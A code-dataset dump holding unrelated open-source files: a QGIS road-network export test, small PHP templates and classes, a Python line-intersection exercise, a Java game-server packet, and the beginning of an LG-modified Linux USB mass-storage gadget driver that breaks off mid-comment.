code
stringlengths 3
1.01M
| repo_name
stringlengths 5
116
| path
stringlengths 3
311
| language
stringclasses 30
values | license
stringclasses 15
values | size
int64 3
1.01M
|
|---|---|---|---|---|---|
# -*- coding: utf-8 -*-
from mock import patch
import os
import pprint
import shutil
import subprocess
import unittest
from pyspatialite import dbapi2 as db
import qgis.core # Need to import this before PyQt to ensure QGIS parts work
from PyQt4.QtSql import QSqlQuery, QSqlDatabase
from Roadnet.database import connect_and_open
from Roadnet.tests.integration.roadnet_test_cases import QgisTestCase
import Roadnet.roadnet_exceptions as rn_except
from Roadnet.ramp import wdm
from Roadnet.bin import shapefile_attributes
this_dir = os.path.dirname(os.path.abspath(__file__))
SQL_SCRIPT = """
INSERT INTO rdpoly VALUES (
1, 11, 1, 'CGWAY', 'LAR', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'C119/10', '/CGWAY/', '/CGWAY//', NULL, NULL, 11111,
GeomFromText("MULTIPOLYGON(((287500 691400, 287500 691500, 287600 691500, 287600 691400 )))", 27700) );
INSERT INTO rdpoly VALUES (
2, 11, 2, 'FTWAY', 'LAF', NULL, NULL, NULL, 'E', 1, 1, NULL, 'C119/10', '/FTWAY/1', '/FTWAY/E/1', NULL, NULL, 22222,
GeomFromText("MULTIPOLYGON(((288000 691400, 288000 691500, 288100 691500, 288100 691400 )))", 27700) );
INSERT INTO rdpoly VALUES (
3, 11, 3, 'FTWAY', 'LAF', NULL, NULL, NULL, 'E', 2, 2, NULL, 'C119/10', '/FTWAY/2', '/FTWAY/E/2', NULL, NULL, 33333,
GeomFromText("MULTIPOLYGON(((287500 691900, 287500 692000, 287600 692000, 287600 691900 )))", 27700) );
INSERT INTO rdpoly VALUES (
4, 11, 4, 'FTWAY', 'LAF', NULL, NULL, NULL, 'S', 1, 1, NULL, 'C119/20', '/FTWAY/1', '/FTWAY/S/1', NULL, NULL, 44444,
GeomFromText("MULTIPOLYGON(((287800 692200, 287800 692300, 287900 692300, 287900 692200 )))", 27700) );
INSERT INTO mcl VALUES (
1, 20574, NULL, 14305470, NULL, NULL, NULL, 'Grangemouth', NULL, NULL, NULL, NULL, NULL, 'F-5470', 60,
'Test MCL One',
NULL, 30, 'U', 'FT', 'Public', 11111, 'U', NULL, NULL,
GeomFromText("MULTILINESTRING((0 0,0 1,0 2))", 27700) );
INSERT INTO mcl VALUES (
2, 20573, NULL, 14305470, NULL, NULL, NULL, 'Grangemouth', NULL, NULL, NULL, NULL, NULL, 'F-5470', 50,
'Test MCL Two',
NULL, 30, 'U', 'FT', 'Public', 22222, 'U', NULL, NULL,
GeomFromText("MULTILINESTRING((293166.277 680074.52,293180.28 680074.606,293181.610 680074.83))", 27700) );
INSERT INTO mcl VALUES (
3, 18163, NULL, 14305470, NULL, NULL, NULL, 'Grangemouth', NULL, NULL, NULL, NULL, NULL, 'F-5470', 40,
'Test MCL Three',
NULL, 30, 'U', 'FT', 'Public', 33333, 'U', NULL, NULL,
GeomFromText("MULTILINESTRING((293141.8919999999 680074.376,293166.2779999999 680074.5219999999))", 27700) );
INSERT INTO mcl VALUES (
4, 18163, NULL, 14305470, NULL, NULL, NULL, 'Grangemouth', NULL, NULL, NULL, NULL, NULL, 'F-5470', 40,
'Test MCL Four',
NULL, 30, 'U', 'FT', 'Public', 44444, 'U', NULL, NULL,
GeomFromText("MULTILINESTRING((293141.8919999999 680074.376,293166.2779999999 680074.5219999999))", 27700) );
"""
class TestWDMExports(QgisTestCase):
empty_db_path = os.path.join('database_files', 'roadnet_empty.sqlite')
test_db_path = os.path.join(this_dir, 'roadnet_test.sqlite')
test_directory = os.path.join(this_dir, 'test_dir')
db = None
def setUp(self):
super(TestWDMExports, self).setUp()
# Make copy of empty database to work on
shutil.copy(self.empty_db_path, self.test_db_path)
# Populate with example data
conn = db.connect(self.test_db_path)
curs = conn.cursor()
try:
curs.executescript(SQL_SCRIPT)
finally:
conn.close()
# Open connection for tests
self.tidy()
os.makedirs(self.test_directory)
self.db = connect_and_open(self.test_db_path, 'integration_testing')
def tearDown(self):
super(TestWDMExports, self).tearDown()
if self.db: # Just in case self.db doesn't get set
self.db.close()
del self.db
QSqlDatabase.removeDatabase('integration_testing')
if os.path.exists(self.test_db_path):
os.remove(self.test_db_path)
def tidy(self):
shutil.rmtree(self.test_directory, ignore_errors=True)
def test_query_db_for_features_success(self):
# Arrange and Act
q = wdm.query_db_for_features('FTWAY', self.db)
# Assert
try:
self.assertTrue(isinstance(q, QSqlQuery),
"An active QSqlQuery wasn't returned ({})".format(type(q)))
finally:
q.finish()
del q
def test_ftway_export_returns_three_features(self):
# Arrange
features_query = wdm.query_db_for_features('FTWAY', self.db)
vlayer = wdm.create_temp_layer_in_memory()
# Act
wdm.add_features_to_vlayer(features_query, vlayer)
# Assert
expected = 3
count = vlayer.featureCount()
self.assertEqual(
expected, count,
"Number of exported FTWAY features was not {} ({})".format(expected, count))
@patch.object(rn_except.QMessageBoxWarningError, 'show_message_box')
def test_exported_attributes(self, mock_error):
# Arrange
outfile_names = {'CGWAY': 'RAMPEXPORT_Carriageway.shp',
'CYCLE': 'RAMPEXPORT_Cycleway_Path.shp',
'FTWAY': 'RAMPEXPORT_Footway.shp'}
expected_attributes = {
'CGWAY': [['1', 'CGWAY', 'LAR', '', '', '', '2.000000000000000',
'11111', '14305470', 'F-5470', '60', 'Test MCL One', '',
'30', 'U', 'U', '']],
'CYCLE': [],
'FTWAY': [
['2', 'FTWAY', 'LAF', 'E', '1', '1', '', '22222', '14305470',
'F-5470', '50', 'Test MCL Two', '', '30', 'U', 'U', ''],
['3', 'FTWAY', 'LAF', 'E', '2', '2', '', '33333', '14305470',
'F-5470', '40', 'Test MCL Three', '', '30', 'U', 'U', ''],
['4', 'FTWAY', 'LAF', 'S', '1', '1', '', '44444', '14305470',
'F-5470', '40', 'Test MCL Four', '', '30', 'U', 'U', '']]}
# Act
for element_type in outfile_names:
shapefile_path = os.path.join(self.test_directory,
outfile_names[element_type])
wdm.export(element_type, self.db, self.test_directory)
attr = shapefile_attributes.get_ogr2csv(shapefile_path)
# Assert
print("-------------")
print("Expected")
pprint.pprint(expected_attributes[element_type])
print("")
print("Actual")
pprint.pprint(attr)
print("-------------")
self.assertEqual(expected_attributes[element_type], attr)
def test_create_sql_command_without_length(self):
# Arrange
expected = """
SELECT AsBinary(rdpoly.geometry) AS geometry, rd_pol_id, element, hierarchy,
desc_2, desc_3, ref_3, currency_flag, feature_length, r_usrn,
mcl_ref, usrn, lor_ref_1, lor_ref_2, lor_desc, lane_number,
speed_limit, rural_urban_id, street_classification, carriageway
FROM rdpoly
LEFT OUTER JOIN mcl
ON rdpoly.mcl_cref = mcl.mcl_ref
WHERE element = "FTWAY"
AND rdpoly.symbol IN (11, 12);"""
# Act
sql = wdm.create_sql_command("FTWAY")
# Assert
self.assertEqual(expected, sql)
def test_create_sql_command_with_length(self):
# Arrange
expected = """
SELECT AsBinary(rdpoly.geometry) AS geometry, rd_pol_id, element, hierarchy,
desc_2, desc_3, ref_3, currency_flag, GLength(mcl.geometry) AS feature_length, r_usrn,
mcl_ref, usrn, lor_ref_1, lor_ref_2, lor_desc, lane_number,
speed_limit, rural_urban_id, street_classification, carriageway
FROM rdpoly
LEFT OUTER JOIN mcl
ON rdpoly.mcl_cref = mcl.mcl_ref
WHERE element = "CGWAY"
AND rdpoly.symbol IN (11, 12);"""
# Act
sql = wdm.create_sql_command("CGWAY")
# Assert
self.assertEqual(expected, sql)
def get_ogr_output_feature_count(shapefile_path):
cmd = ["ogrinfo", shapefile_path, "-al"]
ogr_output = subprocess.check_output(cmd)
for line in ogr_output.split('\n'):
if line.startswith("Feature Count"):
count = line.split(':')[1]
count = count.strip()
return int(count)
raise RuntimeError('Feature Count line not found in {}'.format(shapefile_path))
if __name__ == '__main__':
unittest.main()
|
thinkWhere/Roadnet
|
tests/integration/test_wdm.py
|
Python
|
gpl-2.0
| 8,439
|
<?php
/*
* Template Name: Constant Contact
*/
get_header(); ?>
<?php
while ( have_posts() ) : the_post(); ?>
<style>
.ctct-inline-form {
max-width: 80ch;
margin: 0 auto;
}
.ctct-form-defaults {
background: transparent !important;
}
</style>
<?php the_content(); ?>
<?php endwhile; ?>
<?php
get_footer(); ?>
|
anderspollack/c2st-2017
|
page-constant-contact.php
|
PHP
|
gpl-2.0
| 340
|
#!/usr/bin/python2
import check
from fractions import gcd
# Algorithm taken from en.wikipedia.org/wiki/Line-line-_intersection
# All code written by Joel Williamson
## intersection: Int Int Int Int Int Int Int Int -> (union "parallel" (tuple Int Int Int Int))
##
## Purpose: Treating the input as 4 pairs of integers, each representing the
## endpoint of a line, returns the intersection of the two lines, or
## "parallel" if they are parallel
##
## Effects:
##
## Example: intersection(-15,15,15,-15,-10,-10,10,10) => [0,1,0,1]
def intersection(x1, y1, x2, y2, x3, y3, x4, y4):
x_numerator = ((x1*y2-y1*x2)*(x3-x4) - (x1-x2)*(x3*y4-y3*x4))
denominator = (x1-x2)*(y3-y4)-(y1-y2)*(x3-x4)
if (denominator == 0) :
return "parallel"
x_gcd = gcd(x_numerator,denominator)
y_numerator = (x1*y2-y1*x2)*(y3-y4)-(y1-y2)*(x3*y4-y3*x4)
y_gcd = gcd(y_numerator,denominator)
return (x_numerator/x_gcd,denominator/x_gcd,
y_numerator/y_gcd,denominator/y_gcd)
## Tests:
check.expect('Sample test', intersection(-15,15,15,-15,-10,-10,10,10), (0,1,0,1))
check.expect('Parallel', intersection(-10,-10,10,10,-20,-10,0,10),"parallel")
## point_range: (listof Int) (listof Int) (listof Int) (listof Int) (optional (tuple Int Int Int Int))
## -> (iterable (tuple Int Int Int Int))
##
## Purpose: Merges four lists of equal length into an iterable of points,
## optionally starting after the point specified by (init_x1,init_y1,initx2,inity2)
##
## Example: i_p = point_range([1,2,3,4],[5,6,7,8],[9,10,11,12],[13,14,15,16])
## i_p.next() = (1,5,9,13)
## i_p.next() = (2,6,10,14)
def point_range(X1,Y1,X2,Y2,(init_x1 ,init_y1, init_x2, init_y2 )= (None,None,None,None)) :
if (init_x1 == None) :
started = True
else :
started = False
for i in range(len(X1)) :
if (not started and not((X1[i],Y1[i],X2[i],Y2[i]) == (init_x1,init_y1,init_x2,init_y2))) :
continue
elif (not started) :
started = True
continue
yield (X1[i],Y1[i],X2[i],Y2[i])
## pieces: Int Int (listof Int) (listof Int) (listof Int) (listof Int) -> Int
##
## Purpose: pieces takes the radius of a circle, N is the number of lines dividing
## the circle and the four lists correspond to the endpoints of the lines
## It produces the number of segments the lines divide the circle into.
##
## Effects:
##
## Examples: pieces(10,3,[-15,1,10],[15,12,4],[15,-6,-10],[-15,-12,-8]) => 7
## pieces(10,3,[0,-11,-11],[11,3,-1],[0,11,11],[-11,3,7]) => 6
def pieces(R, N, X1, Y1, X2, Y2):
segments = 1
for l1 in point_range(X1,Y1,X2,Y2) :
segments += 1
intersections = {}
for l2 in point_range(X1,Y1,X2,Y2,(l1[0],l1[1],l1[2],l1[3])) :
inter = intersection(l1[0],l1[1],l1[2],l1[3],l2[0],l2[1],l2[2],l2[3])
if (inter == "parallel") :
continue
if inter in intersections :
continue
if ((inter[0]*inter[0])/(inter[1]*inter[1]) + (inter[2]*inter[2])/(inter[3]*inter[3]) >= R*R) :
continue
intersections[inter] = True
segments += 1
return segments
## Tests:
check.expect('Example 1',pieces(10,3,[-15,1,10],[15,12,4],[15,-6,-10],[-15,-12,-8]),7)
check.expect('Example 2',pieces(10,3,[0,-11,-11],[11,3,-1],[0,11,11],[-11,3,7]),6)
# Be sure to do lots more of your own testing!
|
joelwilliamson/cs234
|
a1/a01q2b.py
|
Python
|
gpl-2.0
| 3,280
|
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* http://www.gnu.org/copyleft/gpl.html
*/
package net.sf.l2j.gameserver.serverpackets;
import net.sf.l2j.gameserver.model.L2Character;
/**
* This class ...
* @version $Revision: 1.2.2.1.2.4 $ $Date: 2005/03/27 15:29:57 $
*/
public class StopRotation extends L2GameServerPacket
{
private static final String _S__78_STOPROTATION = "[S] 63 StopRotation";
private final int _charObjId;
private final int _degree;
public StopRotation(L2Character player, int degree)
{
_charObjId = player.getObjectId();
_degree = degree;
}
@Override
protected final void writeImpl()
{
writeC(0x63);
writeD(_charObjId);
writeD(_degree);
}
/*
* (non-Javadoc)
* @see net.sf.l2j.gameserver.serverpackets.ServerBasePacket#getType()
*/
@Override
public String getType()
{
return _S__78_STOPROTATION;
}
}
|
oonym/l2InterludeServer
|
L2J_Server/java/net/sf/l2j/gameserver/serverpackets/StopRotation.java
|
Java
|
gpl-2.0
| 1,586
|
<?php
/**
* Single team member
*
* @author Miguel Gonzalez <miguel-gonzalez@gmx.de>
* @since 1.0
* @version 1.0
* @link http://my-reality.de Website of the author
* @copyright (c) 2013, Miguel Gonzalez
*/
include_once 'SocialNetwork.php';
class TeamMember {
// Name of the member
private $name;
// Website of the member
private $websiteURL;
// Email address
private $email;
// Social Networks
private $socialNetworks;
// Job
private $job;
public function __construct($name, $job) {
$this->name = $name;
$this->job = $job;
$this->websiteURL = '';
$this->email = '';
$this->socialNetworks = array();
}
public function setName($name) {
$this->name = $name;
}
public function setEmail($email) {
$this->email = $email;
}
public function setWebsiteURL($url) {
$this->websiteURL = $url;
}
public function addSocialNetwork(SocialNetwork $network) {
$this->socialNetworks[] = $network;
}
public function __toString() {
$string = '<div class="member">';
$string .= '<div class="name">' . $this->name . '</div>';
$string .= '<div class="job ' . strtolower($this->job) . '">' . $this->job . '</div>';
$string .= '<div class="image">' . $this->getGravatar() . '</div>';
if (!empty($this->email)) {
$string .= '<div class="link"><a class="email" href="mailto:' . $this->email . '">Email</a></div>';
}
if (!empty($this->websiteURL)) {
$string .= '<div class="link"><a class="website" href="' . $this->websiteURL . '">Website</a></div>';
}
foreach ($this->socialNetworks as &$network) {
$string .= '<div class="link">' . $network . '</div>';
}
$string .= '</div>';
return $string;
}
private function getGravatar() {
$hash = md5(strtolower(trim($this->email)));
return '<img src="http://www.gravatar.com/avatar/' . $hash . '" />';
}
}
?>
|
MyRealityCoding/dawn-website
|
core/team/TeamMember.php
|
PHP
|
gpl-2.0
| 2,148
|
/*
* drivers/usb/gadget/f_mass_storage.c
*
* Function Driver for USB Mass Storage
*
* Copyright (C) 2008 Google, Inc.
* Author: Mike Lockwood <lockwood@android.com>
*
* Based heavily on the file_storage gadget driver in
* drivers/usb/gadget/file_storage.c and licensed under the same terms:
*
* Copyright (C) 2003-2007 Alan Stern
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions, and the following disclaimer,
* without modification.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The names of the above-listed copyright holders may not be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* ALTERNATIVELY, this software may be distributed under the terms of the
* GNU General Public License ("GPL") as published by the Free Software
* Foundation, either version 2 of that License or (at your option) any
* later version.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/* #define DEBUG */
/* #define VERBOSE_DEBUG */
/* #define DUMP_MSGS */
//#define AD_DBG
#include <linux/blkdev.h>
#include <linux/completion.h>
#include <linux/dcache.h>
#include <linux/delay.h>
#include <linux/device.h>
#include <linux/fcntl.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/kref.h>
#include <linux/kthread.h>
#include <linux/limits.h>
#include <linux/rwsem.h>
#include <linux/slab.h>
#include <linux/spinlock.h>
#include <linux/string.h>
#include <linux/switch.h>
#include <linux/freezer.h>
#include <linux/utsname.h>
#include <linux/wakelock.h>
#include <linux/platform_device.h>
#include <linux/usb.h>
#include <linux/usb_usual.h>
#include <linux/usb/ch9.h>
#include <linux/usb/android_composite.h>
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
#include <asm/unaligned.h>
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
#include "gadget_chips.h"
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
#define BULK_BUFFER_SIZE 4096
#else
#define BULK_BUFFER_SIZE 16384
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
/*-------------------------------------------------------------------------*/
#define DRIVER_NAME "usb_mass_storage"
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
#define DRIVER_NAME_AUTORUN "usb_autorun"
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
#define MAX_LUNS 8
static const char shortname[] = DRIVER_NAME_AUTORUN;
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
#ifdef AD_DBG
#define ad_info(fmt,args...) pr_info("AD: " fmt, ## args)
#else
#define ad_info(fmt,args...) do { } while (0)
#endif
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
#ifdef DEBUG
#define LDBG(lun, fmt, args...) \
dev_dbg(&(lun)->dev , fmt , ## args)
#define MDBG(fmt,args...) \
printk(KERN_DEBUG DRIVER_NAME ": " fmt , ## args)
#else
#define LDBG(lun, fmt, args...) \
do { } while (0)
#define MDBG(fmt,args...) \
do { } while (0)
#undef VERBOSE_DEBUG
#undef DUMP_MSGS
#endif /* DEBUG */
#ifdef VERBOSE_DEBUG
#define VLDBG LDBG
#else
#define VLDBG(lun, fmt, args...) \
do { } while (0)
#endif /* VERBOSE_DEBUG */
#define LERROR(lun, fmt, args...) \
dev_err(&(lun)->dev , fmt , ## args)
#define LWARN(lun, fmt, args...) \
dev_warn(&(lun)->dev , fmt , ## args)
#define LINFO(lun, fmt, args...) \
dev_info(&(lun)->dev , fmt , ## args)
#define MINFO(fmt,args...) \
printk(KERN_INFO DRIVER_NAME ": " fmt , ## args)
#define DBG(d, fmt, args...) \
dev_dbg(&(d)->cdev->gadget->dev , fmt , ## args)
#define VDBG(d, fmt, args...) \
dev_dbg(&(d)->cdev->gadget->dev , fmt , ## args)
#define ERROR(d, fmt, args...) \
dev_err(&(d)->cdev->gadget->dev , fmt , ## args)
#define WARNING(d, fmt, args...) \
dev_warn(&(d)->cdev->gadget->dev , fmt , ## args)
#define INFO(d, fmt, args...) \
dev_info(&(d)->cdev->gadget->dev , fmt , ## args)
/*-------------------------------------------------------------------------*/
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
#define TYPE_UMS 0x00
#define TYPE_CDROM 0x05
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
/* Bulk-only data structures */
/* Command Block Wrapper */
struct bulk_cb_wrap {
__le32 Signature; /* Contains 'USBC' */
u32 Tag; /* Unique per command id */
__le32 DataTransferLength; /* Size of the data */
u8 Flags; /* Direction in bit 7 */
u8 Lun; /* LUN (normally 0) */
u8 Length; /* Of the CDB, <= MAX_COMMAND_SIZE */
u8 CDB[16]; /* Command Data Block */
};
#define USB_BULK_CB_WRAP_LEN 31
#define USB_BULK_CB_SIG 0x43425355 /* Spells out USBC */
#define USB_BULK_IN_FLAG 0x80
/* Command Status Wrapper */
struct bulk_cs_wrap {
__le32 Signature; /* Should = 'USBS' */
u32 Tag; /* Same as original command */
__le32 Residue; /* Amount not transferred */
u8 Status; /* See below */
};
#define USB_BULK_CS_WRAP_LEN 13
#define USB_BULK_CS_SIG 0x53425355 /* Spells out 'USBS' */
#define USB_STATUS_PASS 0
#define USB_STATUS_FAIL 1
#define USB_STATUS_PHASE_ERROR 2
/* Bulk-only class specific requests */
#define USB_BULK_RESET_REQUEST 0xff
#define USB_BULK_GET_MAX_LUN_REQUEST 0xfe
/* Length of a SCSI Command Data Block */
#define MAX_COMMAND_SIZE 16
/* SCSI commands that we recognize */
#define SC_FORMAT_UNIT 0x04
#define SC_INQUIRY 0x12
#define SC_MODE_SELECT_6 0x15
#define SC_MODE_SELECT_10 0x55
#define SC_MODE_SENSE_6 0x1a
#define SC_MODE_SENSE_10 0x5a
#define SC_PREVENT_ALLOW_MEDIUM_REMOVAL 0x1e
#define SC_READ_6 0x08
#define SC_READ_10 0x28
#define SC_READ_12 0xa8
#define SC_READ_CAPACITY 0x25
#define SC_READ_FORMAT_CAPACITIES 0x23
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
#define SC_READ_HEADER 0x44
#define SC_READ_TOC 0x43
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
#define SC_RELEASE 0x17
#define SC_REQUEST_SENSE 0x03
#define SC_RESERVE 0x16
#define SC_SEND_DIAGNOSTIC 0x1d
#define SC_START_STOP_UNIT 0x1b
#define SC_SYNCHRONIZE_CACHE 0x35
#define SC_TEST_UNIT_READY 0x00
#define SC_VERIFY 0x2f
#define SC_WRITE_6 0x0a
#define SC_WRITE_10 0x2a
#define SC_WRITE_12 0xaa
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
#define SC_LGE_SPE 0xF1
#define SUB_CODE_MODE_CHANGE 0x01
#define SUB_CODE_GET_VALUE 0x02
#define SUB_CODE_PROBE_DEV 0xff
#define TYPE_MOD_CHG_TO_ACM 0x01
#define TYPE_MOD_CHG_TO_UMS 0x02
#ifdef CONFIG_LGE_USB_GADGET_MTP_DRIVER
#define TYPE_MOD_CHG_TO_MTP 0x03
#else
#define TYPE_MOD_CHG_RESERVED 0x03
#endif
#define TYPE_MOD_CHG_TO_ASK 0x05
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN_CGO
#define TYPE_MOD_CHG_TO_CGO 0x08
#endif
#ifdef CONFIG_LGE_USB_GADGET_NDIS_DRIVER
#define TYPE_MOD_CHG_TO_TET 0x09
#endif
#define TYPE_MOD_CHG2_TO_ACM 0x81
#define TYPE_MOD_CHG2_TO_UMS 0x82
#ifdef CONFIG_LGE_USB_GADGET_MTP_DRIVER
#define TYPE_MOD_CHG2_TO_MTP 0x83
#else
#define TYPE_MOD_CHG2_RESERVED 0x83
#endif
#define TYPE_MOD_CHG2_TO_ASK 0x85
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN_CGO
#define TYPE_MOD_CHG2_TO_CGO 0x86
#endif
#ifdef CONFIG_LGE_USB_GADGET_NDIS_DRIVER
#define TYPE_MOD_CHG2_TO_TET 0x87
#endif
/*ACK TO SEND HOST PC */
#define ACK_STATUS_TO_HOST 0x10
#define ACK_SW_REV_TO_HOST 0x12
#define ACK_MEID_TO_HOST 0x13
#define ACK_MODEL_TO_HOST 0x14
#define ACK_SUB_VER_TO_HOST 0x15
#define SUB_ACK_STATUS_ACM 0x00
#ifdef CONFIG_LGE_USB_GADGET_MTP_DRIVER
#define SUB_ACK_STATUS_MTP 0x01
#else
#define SUB_ACK_STATUS_RESERVED 0x01
#endif
#define SUB_ACK_STATUS_UMS 0x02
#define SUB_ACK_STATUS_ASK 0x03
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN_CGO
#define SUB_ACK_STATUS_CGO 0x04
#endif
#ifdef CONFIG_LGE_USB_GADGET_NDIS_DRIVER
#define SUB_ACK_STATUS_TET 0x05
#endif
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
/* SCSI Sense Key/Additional Sense Code/ASC Qualifier values */
#define SS_NO_SENSE 0
#define SS_COMMUNICATION_FAILURE 0x040800
#define SS_INVALID_COMMAND 0x052000
#define SS_INVALID_FIELD_IN_CDB 0x052400
#define SS_LOGICAL_BLOCK_ADDRESS_OUT_OF_RANGE 0x052100
#define SS_LOGICAL_UNIT_NOT_SUPPORTED 0x052500
#define SS_MEDIUM_NOT_PRESENT 0x023a00
#define SS_MEDIUM_REMOVAL_PREVENTED 0x055302
#define SS_NOT_READY_TO_READY_TRANSITION 0x062800
#define SS_RESET_OCCURRED 0x062900
#define SS_SAVING_PARAMETERS_NOT_SUPPORTED 0x053900
#define SS_UNRECOVERED_READ_ERROR 0x031100
#define SS_WRITE_ERROR 0x030c02
#define SS_WRITE_PROTECTED 0x072700
#define SK(x) ((u8) ((x) >> 16)) /* Sense Key byte, etc. */
#define ASC(x) ((u8) ((x) >> 8))
#define ASCQ(x) ((u8) (x))
/* LGE_CHANGE_S [adwardk.kim@lge.com] 2010-08-07 */
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN
static const char *chg_mode[] = {
"change_unknown",
"change_acm",
#ifdef CONFIG_LGE_USB_GADGET_MTP_DRIVER
"change_mtp",
#else
"change_reserved",
#endif
"change_ums",
"change_ask",
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN_CGO
"change_charge",
#endif
#ifdef CONFIG_LGE_USB_GADGET_NDIS_DRIVER
"change_tether",
#endif
"query_value",
"device_info",
};
enum chg_mode_state{
MODE_STATE_UNKNOWN = 0,
MODE_STATE_ACM,
#ifdef CONFIG_LGE_USB_GADGET_MTP_DRIVER
MODE_STATE_MTP,
#else
MODE_STATE_RESERVED,
#endif
MODE_STATE_UMS,
MODE_STATE_ASK,
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN_CGO
MODE_STATE_CGO,
#endif
#ifdef CONFIG_LGE_USB_GADGET_NDIS_DRIVER
MODE_STATE_TET,
#endif
MODE_STATE_GET_VALUE,
MODE_STATE_PROBE_DEV,
};
static const char *check_str[] = {
"ACK_STATUS_ACM",
#ifdef CONFIG_LGE_USB_GADGET_MTP_DRIVER
"ACK_STATUS_MTP",
#else
"ACK_STATUS_RESERVED",
#endif
"ACK_STATUS_UMS",
"ACK_STATUS_ASK",
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN_CGO
"ACK_STATUS_CGO",
#endif
#ifdef CONFIG_LGE_USB_GADGET_NDIS_DRIVER
"ACK_STATUS_TET",
#endif
};
enum check_mode_state {
ACK_STATUS_ACM = SUB_ACK_STATUS_ACM,
#ifdef CONFIG_LGE_USB_GADGET_MTP_DRIVER
ACK_STATUS_MTP = SUB_ACK_STATUS_MTP,
#else
ACK_STATUS_RESERVED = SUB_ACK_STATUS_RESERVED,
#endif
ACK_STATUS_UMS = SUB_ACK_STATUS_UMS,
ACK_STATUS_ASK = SUB_ACK_STATUS_ASK,
#ifdef CONFIG_USB_SUPPORT_LGE_ANDROID_AUTORUN_CGO
ACK_STATUS_CGO = SUB_ACK_STATUS_CGO,
#endif
#ifdef CONFIG_LGE_USB_GADGET_NDIS_DRIVER
ACK_STATUS_TET = SUB_ACK_STATUS_TET,
#endif
ACK_STATUS_ERR,
};
#endif
/* LGE_CHANGE_E [adwardk.kim@lge.com] 2010-08-07 */
/*-------------------------------------------------------------------------*/
struct lun {
struct file *filp;
loff_t file_length;
loff_t num_sectors;
unsigned int ro : 1;
unsigned int prevent_medium_removal : 1;
unsigned int registered : 1;
unsigned int info_valid : 1;
u32 sense_data;
u32 sense_data_info;
u32 unit_attention_data;
struct device dev;
};
#define backing_file_is_open(curlun) ((curlun)->filp != NULL)
static struct lun *dev_to_lun(struct device *dev)
{
return container_of(dev, struct lun, dev);
}
/* Big enough to hold our biggest descriptor */
#define EP0_BUFSIZE 256
#define DELAYED_STATUS (EP0_BUFSIZE + 999) /* An impossibly large value */
/* Number of buffers for CBW, DATA and CSW */
#ifdef CONFIG_USB_CSW_HACK
#define NUM_BUFFERS 4
#else
#define NUM_BUFFERS 2
#endif
enum fsg_buffer_state {
BUF_STATE_EMPTY = 0,
BUF_STATE_FULL,
BUF_STATE_BUSY
};
struct fsg_buffhd {
void *buf;
enum fsg_buffer_state state;
struct fsg_buffhd *next;
/* The NetChip 2280 is faster, and handles some protocol faults
* better, if we don't submit any short bulk-out read requests.
